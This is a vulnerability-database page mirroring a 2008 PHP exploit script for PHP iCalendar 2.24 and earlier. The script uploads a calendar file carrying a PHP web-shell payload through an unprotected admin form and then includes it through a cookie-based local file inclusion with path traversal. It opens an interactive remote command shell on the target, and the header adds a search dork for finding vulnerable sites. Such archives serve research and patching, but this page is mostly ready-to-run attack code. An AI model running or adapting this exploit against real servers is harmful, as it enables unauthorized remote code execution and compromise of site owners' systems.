Lucene search
K

PHP iCalendar <= 2.24 (cookie_language) LFI / File Upload Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 32 Views

PHP iCalendar 2.24 (cookie_language) LFI / File Upload Exploit by EgiX. Exploits a vulnerability in the /admin/index.php code to allow file upload

Code

                                                &#60;?php

/*
	-----------------------------------------------------------------
	PHP iCalendar &#60;= 2.24 (cookie_language) LFI / File Upload Exploit
	-----------------------------------------------------------------
	
	author...: EgiX
	mail.....: n0b0d13s[at]gmail[dot]com
	
	link.....: http://phpicalendar.net/
	dork.....: &#34;Powered by PHP iCalendar&#34;
	
	[-] vulnerable code in /admin/index.php
	
	65.	// Add or Update a calendar
	66.	$addupdate_msg 	= &#39;&#39;;
	67.	if ((isset($_POST[&#39;action&#39;]))  && ($_POST[&#39;action&#39;] == &#39;addupdate&#39;)) {
	68.		for ($filenumber = 1; $filenumber &#60; 6; $filenumber++) {
	69.			$file = $_FILES[&#39;calfile&#39;];
	70.			$addupdate_success = FALSE;
	71.	
	72.			if (!is_uploaded_file_v4($file[&#39;tmp_name&#39;][$filenumber])) {
	73.				$upload_error = get_upload_error($file[&#39;error&#39;][$filenumber]);
	74.			} elseif (!is_uploaded_ics($file[&#39;name&#39;][$filenumber])) {
	75.				$upload_error = $upload_error_type_lang;
	76.			} elseif (!copy_cal($file[&#39;tmp_name&#39;][$filenumber], $file[&#39;name&#39;][$filenumber])) {
	77.				$upload_error = $copy_error_lang . &#34; &#34; . $file[&#39;tmp_name&#39;][$filenumber] . &#34; - &#34; . $calendar_path . &#34;/&#34; . $file[&#39;name&#39;][$filenumber];
	78.			} else {
	79.				$addupdate_success = TRUE;
	80.			}
	81.			
	82.			if ($addupdate_success == TRUE) {
	83.				$addupdate_msg = $addupdate_msg . &#39;&#60;font color=&#34;green&#34;&#62;&#39;.$lang[&#39;l_cal_file&#39;].&#39; #&#39;.$filenumber.&#39;: &#39;.$lang[&#39;l_action_success&#39;].&#39;&#60;/font&#62;&#60;br /&#62;&#39;;
	84.			} else {
	85.				$addupdate_msg = $addupdate_msg . &#39;&#60;font color=&#34;red&#34;&#62;&#39;.$lang[&#39;l_cal_file&#39;].&#39; #&#39;.$filenumber.&#39;: &#39;.$lang[&#39;l_upload_error&#39;].&#39;&#60;/font&#62;&#60;br /&#62;&#39;;
	86.			}
	87.		}
	88.	}
	
	restricted access to this script isn&#39;t properly realized, so an attacker might be able to upload a calendar file
	(with .ics extension) into /calendars directory...multiple file extensions isn&#39;t checked, but &#39;ics&#39; is generally
	recognized as text/calendar MIME type by most servers...so this poc try to include the uploaded file using the
	same LFI bug found by rgod (http://retrogod.altervista.org/phpical_221_incl_xpl.html), that isn&#39;t still patched!
*/

error_reporting(0);
set_time_limit(0);
ini_set(&#34;default_socket_timeout&#34;, 5);

define(STDIN, fopen(&#34;php://stdin&#34;, &#34;r&#34;));

function http_send($host, $packet)
{
	$sock = fsockopen($host, 80);
	while (!$sock)
	{
		print &#34;\n[-] No response from {$host}:80 Trying again...&#34;;
		$sock = fsockopen($host, 80);
	}
	fputs($sock, $packet);
	while (!feof($sock)) $resp .= fread($sock, 1024);
	fclose($sock);
	return $resp;
}

print &#34;\n+---------------------------------------------------------------------------+&#34;;
print &#34;\n| PHP iCalendar &#60;= 2.24 (cookie_language) LFI / File Upload Exploit by EgiX |&#34;;
print &#34;\n+---------------------------------------------------------------------------+\n&#34;;

if ($argc &#60; 3)
{
	print &#34;\nUsage......: php $argv[0] host path\n&#34;;
	print &#34;\nExample....: php $argv[0] localhost /&#34;;
	print &#34;\nExample....: php $argv[0] localhost /phpicalendar/\n&#34;;
	die();
}

$host = $argv[1];
$path = $argv[2];

$payload  = &#34;--o0oOo0o\r\n&#34;;
$payload .= &#34;Content-Disposition: form-data; name=\&#34;action\&#34;\r\n\r\n&#34;;
$payload .= &#34;addupdate\r\n&#34;;
$payload .= &#34;--o0oOo0o\r\n&#34;;
$payload .= &#34;Content-Disposition: form-data; name=\&#34;calfile[1]\&#34;; filename=\&#34;fake_cal.ics\&#34;\r\n\r\n&#34;;
$payload .= &#34;BEGIN:VCALENDAR\n&#60;?php \${print(_code_)}.\${passthru(base64_decode(\$_SERVER[HTTP_CMD]))}.\${die()} ?&#62;\r\n&#34;;
$payload .= &#34;--o0oOo0o--\r\n&#34;;

$packet   = &#34;POST {$path}admin/index.php HTTP/1.0\r\n&#34;;
$packet  .= &#34;Host: {$host}\r\n&#34;;
$packet  .= &#34;Content-Length: &#34;.strlen($payload).&#34;\r\n&#34;;
$packet  .= &#34;Content-Type: multipart/form-data; boundary=o0oOo0o\r\n&#34;;
$packet  .= &#34;Connection: close\r\n\r\n&#34;;
$packet  .= $payload;
	
http_send($host, $packet);

$packet  = &#34;GET {$path}preferences.php?action=setcookie HTTP/1.0\r\n&#34;;
$packet .= &#34;Host: {$host}\r\n&#34;;
$packet .= &#34;Connection: close\r\n\r\n&#34;;

preg_match(&#34;/Set-Cookie: (phpicalendar_[^=]*)=/&#34;, http_send($host, $packet), $cookie);

$data = urlencode(serialize(array(&#34;cookie_language&#34; =&#62; &#34;../calendars/fake_cal.ics&#34;.chr(0))));

while(1)
{
	print &#34;\nphpicalendar-shell# &#34;;
	$cmd = trim(fgets(STDIN));
	if ($cmd != &#34;exit&#34;)
	{
		$packet  = &#34;GET {$path}print.php HTTP/1.0\r\n&#34;;
		$packet .= &#34;Host: {$host}\r\n&#34;;
		$packet .= &#34;Cookie: {$cookie[1]}={$data}\r\n&#34;;
		$packet .= &#34;Cmd: &#34;.base64_encode($cmd).&#34;\r\n&#34;;
		$packet .= &#34;Connection: close\r\n\r\n&#34;;
		$output  = http_send($host, $packet);
		$shell   = explode(&#34;_code_&#34;, $output);
		preg_match(&#34;/_code_/&#34;, $output) ? print &#34;\n{$shell[1]}&#34; : die(&#34;\n[-] Exploit failed...\n&#34;);
	}
	else break;
}

?&#62;

# milw0rm.com [2008-09-21]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
32